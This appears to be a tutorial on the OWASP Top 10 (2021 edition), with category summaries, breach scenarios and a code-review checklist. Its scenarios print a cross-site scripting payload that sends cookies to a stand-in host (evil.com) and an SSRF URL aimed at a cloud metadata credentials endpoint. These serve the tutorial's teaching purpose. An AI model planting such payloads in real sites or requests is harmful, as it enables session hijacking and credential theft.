OWASP Top 10 Overview

The OWASP Top 10: A Risk-Based Map of Web Application Vulnerabilities

The OWASP Top 10 is a standard awareness document for web application security. It represents a broad consensus about the most critical security risks to web applications. The list is published by the Open Web Application Security Project (OWASP), a nonprofit foundation that works to improve the security of software.

Why a Top 10 List Matters

Security teams face an unbounded set of possible vulnerabilities. Without prioritization, organizations either try to fix everything at once (and fix nothing well) or fix whatever was in last week's news cycle. The OWASP Top 10 solves this by distilling thousands of real-world findings into ten categories that represent the most prevalent and impactful risks. It gives security engineers, developers, and auditors a shared vocabulary and a starting point for threat modeling.

The list is not a compliance checklist. It is a risk-ranking framework. Each category is scored based on prevalence (how often it appears in tested applications), exploitability (how easy it is to exploit), detectability (how easy it is to find), and technical impact (what an attacker achieves).

The 2021 Edition Categories

The current edition (2021) consolidated and renamed several categories from the 2017 version. The ten categories are:

1. A01:2021 – Broken Access Control: Users can act outside their intended permissions. This was promoted from #5 to #1 because it is the most commonly found vulnerability in real-world testing.
2. A02:2021 – Cryptographic Failures: Previously "Sensitive Data Exposure." Focuses on failures related to cryptography that often lead to sensitive data exposure.
3. A03:2021 – Injection: Untrusted data is sent to an interpreter as part of a command or query. SQL, NoSQL, OS command, and LDAP injection all fall here.
4. A04:2021 – Insecure Design: New category for 2021. Covers risks from missing or ineffective design-level security controls, distinct from implementation bugs.
5. A05:2021 – Security Misconfiguration: Default configurations, incomplete configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages.
6. A06:2021 – Vulnerable and Outdated Components: Using components with known vulnerabilities. Previously "Using Components with Known Vulnerabilities."
7. A07:2021 – Identification and Authentication Failures: Previously "Broken Authentication." Covers credential stuffing, session fixation, and weak password recovery.
8. A08:2021 – Software and Data Integrity Failures: New for 2021. Assumes software updates, critical data, and CI/CD pipelines are unverified. Covers insecure deserialization.
9. A09:2021 – Security Logging and Monitoring Failures: Insufficient logging and monitoring allow attackers to maintain persistence, pivot to more systems, and tamper with data.
10. A10:2021 – Server-Side Request Forgery (SSRF): New for 2021. Web applications fetching remote resources without validating the user-supplied URL.

How the List Is Compiled

OWASP uses data from over 500,000 applications and contributions from security firms worldwide. The 2021 edition analyzed approximately 2.3 million vulnerabilities across hundreds of organizations. Categories are ranked by a combination of CWE prevalence, exploitability scores, detectability scores, and technical impact scores. Community surveys also influence the final ranking, which is why the list evolves.

Why the List Changes

The 2017-to-2021 shift illustrates why the list is not static. "Insecure Design" and "Software and Data Integrity Failures" were added because the security community recognized that many breaches stem from architectural decisions, not just coding mistakes. SSRF was promoted into the Top 10 because cloud adoption made internal metadata endpoints a high-value target. Understanding the "why" behind each change helps you anticipate future shifts.

Using the OWASP Top 10 as a Working Framework

The OWASP Top 10 is most useful when you treat it as a lens for reviewing code, designing systems, and prioritizing remediation — not as a memorization exercise.

Mapping Breach Scenarios to Categories

Consider three real-world breach patterns and how they map:

Scenario 1: An e-commerce site exposes customer records.
An attacker modifies the orderId parameter in a URL from orderId=1001 to orderId=1002 and sees another customer's order. This is A01: Broken Access Control — the application authenticated the user but failed to authorize the specific object access.

Scenario 2: A forum allows users to post HTML that executes in other browsers.
A user submits a comment containing <script>document.location='https://evil.com/?c='+document.cookie</script>. Every visitor's browser executes the script. This is A03: Injection (specifically Cross-Site Scripting, which OWASP classifies under Injection in the 2021 edition).

Scenario 3: A server fetches a user-supplied URL for a webhook feature.
An attacker supplies http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the server retrieves its own cloud IAM credentials. This is A10: Server-Side Request Forgery.

Building a Top 10 Checklist for Code Review

When reviewing a pull request, walk through each category:

A01 - Broken Access Control
  [ ] Does every endpoint check authorization, not just authentication?
  [ ] Are object references (IDs) validated against the current user's permissions?
  [ ] Is the admin panel restricted by role, not just by URL obscurity?

A03 - Injection
  [ ] Are all database queries parameterized?
  [ ] Is user input encoded for the correct output context (HTML, JS, URL)?
  [ ] Are file paths sanitized before filesystem access?

A05 - Security Misconfiguration
  [ ] Are error messages generic (no stack traces to users)?
  [ ] Are default credentials changed?
  [ ] Are unnecessary HTTP methods (TRACE, OPTIONS) disabled?

A06 - Vulnerable and Outdated Components
  [ ] Is there a software bill of materials (SBOM)?
  [ ] Are dependencies scanned in CI/CD?

Prioritizing Remediation

Not all Top 10 findings are equal. A broken access control on an admin endpoint is more critical than a missing security header on a static page. Use this prioritization heuristic:

1. Exploitability: Can an unauthenticated attacker trigger it?
2. Impact: Does it expose data, execute code, or bypass authentication?
3. Prevalence: How many endpoints share the same pattern?
4. Detectability: Is it already being exploited in the wild?

A vulnerability that scores high on all four should be fixed in the current sprint, not the next quarter.